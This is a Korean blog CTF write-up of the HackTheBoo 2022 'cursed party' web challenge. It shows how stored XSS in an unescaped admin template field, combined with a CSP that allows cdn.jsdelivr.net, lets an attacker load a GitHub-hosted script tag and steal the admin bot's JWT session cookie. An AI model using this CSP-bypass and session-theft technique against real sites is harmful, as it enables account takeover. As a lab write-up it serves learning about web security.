티스토리 뷰
Introduction
Category : Web
Difficulty : Medium
Description : You've just received an invitation to a party. Authorities have reported that the party is cursed, and the guests are trapped in a never-ending unsolvable murder mystery party. Can you investigate further and try to save everyone?
Code Analysis
Flag의 위치는 bot.js 파일에 있었습니다.
const flag = fs.readFileSync('/flag.txt', 'utf8');
// ... 생략 ...
const visit = async () => {
try {
const browser = await puppeteer.launch(browser_options);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
await page.setCookie({
name: 'session',
value: token,
domain: '127.0.0.1:1337'
});
await page.goto('http://127.0.0.1:1337/admin', {
waitUntil: 'networkidle2',
timeout: 5000
});
await page.goto('http://127.0.0.1:1337/admin/delete_all', {
waitUntil: 'networkidle2',
timeout: 5000
});
setTimeout(() => {
browser.close();
}, 5000);
} catch(e) {
console.log(e);
}
};
module.exports = { visit };
관리자의 JWT 토큰 값에 있는 것을 알 수 있습니다. JWT 의 data 영역에 있기 때문에 관리자의 세션을 탈취한 뒤 단순 base64 디코딩하면 보일 것으로 예상됩니다.
관리자가 바라보는 페이지인 admin.html 에는 아래와 같이 halloween_name 파라미터에 한해서 HTML 태그를 허용하고 있는 것을 볼 수 있습니다.
<html>
<head>
<link rel="stylesheet" href="/static/css/bootstrap.min.css" />
<title>Admin panel</title>
</head>
<body>
<div class="container" style="margin-top: 20px">
{% for request in requests %}
<div class="card">
<div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>
<div class="card-body">
<p class="card-title"><strong>Email Address</strong> : {{ request.email }}</p>
<p class="card-text"><strong>Costume Type </strong> : {{ request.costume_type }} </p>
<p class="card-text"><strong>Prefers tricks or treat </strong> : {{ request.trick_or_treat }} </p>
<button class="btn btn-primary">Accept</button>
<button class="btn btn-danger">Delete</button>
</div>
</div>
{% endfor %}
</div>
</body>
</html>
request.halloween_name 파라미터를 어떻게 받아오는지 확인해볼 필요가 있습니다.
아래는 routes/index.js 파일 내용입니다. /api/submit 과 /admin 라우팅 경로에 대한 내용입니다.
router.post('/api/submit', (req, res) => {
const { halloween_name, email, costume_type, trick_or_treat } = req.body;
if (halloween_name && email && costume_type && trick_or_treat) {
return db.party_request_add(halloween_name, email, costume_type, trick_or_treat)
.then(() => {
res.send(response('Your request will be reviewed by our team!'));
bot.visit();
})
.catch(() => res.send(response('Something Went Wrong!')));
}
return res.status(401).send(response('Please fill out all the required fields!'));
});
router.get('/admin', AuthMiddleware, (req, res) => {
if (req.user.user_role !== 'admin') {
return res.status(401).send(response('Unautorized!'));
}
return db.get_party_requests()
.then((data) => {
res.render('admin.html', { requests: data });
});
});
사용자가 /api/submit 으로 halloween_name 값을 보내고 DB에 등록하는 것으로 보여집니다. 그리고 잘 등록되었다면 bot.visit() 함수가 호출되어 bot.js 에서의 동작이 수행되어 관리자가 /admin 경로로 요청을 하여 admin.html 페이지에 사용자가 보낸 halloween_name 을 읽게끔 되어 있는 것으로 보여집니다.
때문에 사용자는 결국 halloween_name 값에 임의 XSS 페이로드를 삽입하여 admin 에게 전달해 관리자의 세션을 탈취하면 되는 것입니다.
다만 여기서 추가적으로 봐야할 것으로는 CSP 정책입니다. 미들웨어로 등록된 Content-Security-Policy 내용을 보겠습니다.
app.use(function (req, res, next) {
res.setHeader(
"Content-Security-Policy",
"script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
);
next();
});
잘 보면 다른 건 다 안되고, script 의 경우 특정 도메인의 출처만 허용한다고 되어 있습니다.
알아보면 알겠지만 cdn.jsdelivr.net 은 open source를 위한 무료 CDN 서버입니다. npm이나 wordpress 도 지원하고 github도 지원하고 있는 것을 알 수 있습니다.
저는 비교적 접근하기 편한 github를 이용하였습니다.
Exploit
github에는 test라는 레포지토리를 만들고 그 아래 script.js 라는 파일을 만들고 내용물로 admin의 세션을 탈취하는 페이로드를 작성하였습니다.
그리고 위를 CDN 서버 주소로 매핑해보면 아래와 같이 만들어집니다.
https://cdn.jsdelivr.net/gh/domdom2y2/test@latest/script.js
이제 위 주소를 script 태그의 src 속성에 넣어줘서 관리자에게 전달해줍니다.
<script src="https://cdn.jsdelivr.net/gh/domdom2y2/test@latest/script.js"></script>
그러면 아래와 같이 세션을 탈취한 것을 볼 수 있습니다.
그리고 JWT Token의 data부분을 base64 디코딩 해보면 아래와 같이 Flag가 나오는 것을 볼 수 있습니다.
이 문제가 HackTheBoo 2022 CTF의 웹의 마지막 문제였습니다.
- 끝 -
'보안 > CTF' 카테고리의 다른 글
[Fetch the Flag CTF] git-refs Writeup(문제풀이) (0) | 2022.11.11 |
---|---|
[Fetch the Flag CTF] roadrunner Writeup(문제풀이) (0) | 2022.11.11 |
[HackTheBoo] [Web] Juggling Facts Writeup(문제풀이) (0) | 2022.10.28 |
[HackTheBoo] [Web] Horror Feeds Writeup(문제풀이) (0) | 2022.10.28 |
[HackTheBoo] [Web] Spookifier Writeup(문제풀이) (0) | 2022.10.28 |